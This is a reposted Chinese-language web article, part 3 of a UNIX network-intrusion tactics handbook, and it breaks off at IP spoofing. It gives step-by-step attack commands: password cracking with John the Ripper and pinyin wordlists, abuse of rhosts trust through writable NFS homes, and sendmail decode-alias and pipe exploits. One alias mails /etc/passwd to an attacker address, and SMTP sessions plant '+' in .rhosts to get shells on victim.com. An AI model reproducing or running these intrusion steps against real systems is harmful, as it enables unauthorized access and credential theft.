网络通信 频道

网络入侵实用战术手册(UNIX)(3)

据说如果rexd开放,且rpcbind不是secure方式,就相当于没有口令,可以任意远程

运行目标机器上的过?

2.5) x-windows

如果xhost的access control is disabled,就可以远程控制这台机器的显示系统,在

上面任意显示,还可以偷窃键盘输入和显示内容,甚至可以远程执行...

三、登堂入室(远程登录)

1) telnet

要点是取得用户帐号和保密字

1.1) 取得用户帐号

1.1.1) 使用“白手起家”中介绍的方法

1.1.2) 其他方法:e.g.根据从那个站点寄出的e-mail地址

1.2) 获取口令

1.2.1) 口令破解

1.2.1.1) 使用“隔空取物”中介绍的方法取得/etc/passwd和/etc/shadow

1.2.1.2) 使用口令破解程序破解口令

e.g.使用john the riper:

# unshadow passwd shadow > pswd.1

# pwd_crack -single pswd.1

# pwd_crack -wordfile:/usr/dict/words -rules pswd.1

# pwd_crack -i:alph5 pswd.1

1.2.1.3) 使用samsa开发的适合中国人的字典生成程序

# dicgen 1 words1 /* 所有1音节的汉语拼音 */

# dicgen 2 words2 /* 所有2音节的汉语拼音 */

# dicgen 3 words3 /* 所有3音节的汉语拼音 */

# pwd_crack -wordfile:words1 -rules pswd.1

# pwd_crack -wordfile:words2 -rules pswd.1

# pwd_crack -wordfile:words3 -rules pswd.1

1.2.2) 蛮干(brute force):猜测口令

猜法:与用户名相同的口令,用户名的简单变体,机构名,机器型号etc

e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...



(samsa:如果用户数足够多,这种方法还是很有效的:需要运气和灵感)

2) r-命令:rlogin,rsh

关键在信任关系,即:/etc/hosts.equiv,~/.rhosts文件

2.1) /etc/hosts.equiv

如果/etc/hosts.equiv文件中有一个"+",那么任何一台主机上的任何一个用户(root除

外),可以远程登录而不需要口令,并成为该机上同名用户;

2.2) ~/.rhosts

如果某用户主目录(home directory)下.rhosts文件中有一个"+",那么任何一台主机上

的同名用户可以远程登录而不需要口令

2.3) 改写这两个文件

2.3.1) nfs

如果某用户的主目录共享出来

# showmount -e numen

export list for numen:

/space/users/lpf sun9

/space/users/zw (everyone)

# mount -F nfs numen:/space/users/zw /mnt

# cd /mnt

# cd /mnt

# ls -ld .

drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .

# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd

# echo zw::::::::: >> /etc/shadow

# su zw

$ cat >.rhosts

+

^D

$ rsh numen csh -i

Warning: no access to tty; thus no job control in this shell...

numen%

2.3.2) smtp

利用``decode''''别名

a) 若任一用户主目录(e.g./home/zen)或其下.rhosts对daemon可写,则

# echo "+" | uuencode /home/zen/.rhosts | mail decode@victim.com

(samsa:于是/home/zem/.rhosts中就出现一个"+")

b) 无用户主目录或其下.rhosts对daemon可写,则利用/etc/aliases.pag,

因为许多系统中该文件是world-writable.

# cat decode

bin: "| cat /etc/passwd | mail me@my.e-mail.addr"

# newaliases -oQ/tmp -oA`pwd`/decode

# uuencode decode.pag /etc/aliases.pag | mail decode@victom.com

# /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

(samsa:wait .....)

c) sendmail 5.59 以前的bug

# cat evil_sendmail

telnet victim.com 25 << EOSM

rcpt to: /home/zen/.rhosts

mail from: zen

data

random garbage

..

rcpt to: /home/zen/.rhosts

mail from: zen

data

+

+

..

quit

EOSM

# /bin/sh evil_sendmail

Trying xxx.xxx.xxx.xxx

Connected to victim.com

Escape character is ''^]''.

Connection closed by foreign host.

# rlogin victim.com -l zen

Welcome to victim.com!

$

d) sendmail 的一个较`新''bug

# telnet victim.com 25

Trying xxx.xxx.xxx.xxx...

Connected to victim.com

Escape character is ''^]''.

220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

mail from: "|echo + >> /home/zen/.rhosts"

250 "|echo + >> /home/zen/.rhosts"... Sender ok

rcpt to: nosuchuser

550 nosuchuser... User unknown

data

354 Enter mail, end with "." on a line by itself

..

250 Mail accepted

quit

Connection closed by foreign host.

# rsh victim.com -l zen csh -i

Welcome to victim.com!

$

2.3.3) IP-spoofing
(未完待序)

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345096821104.htm

1
相关文章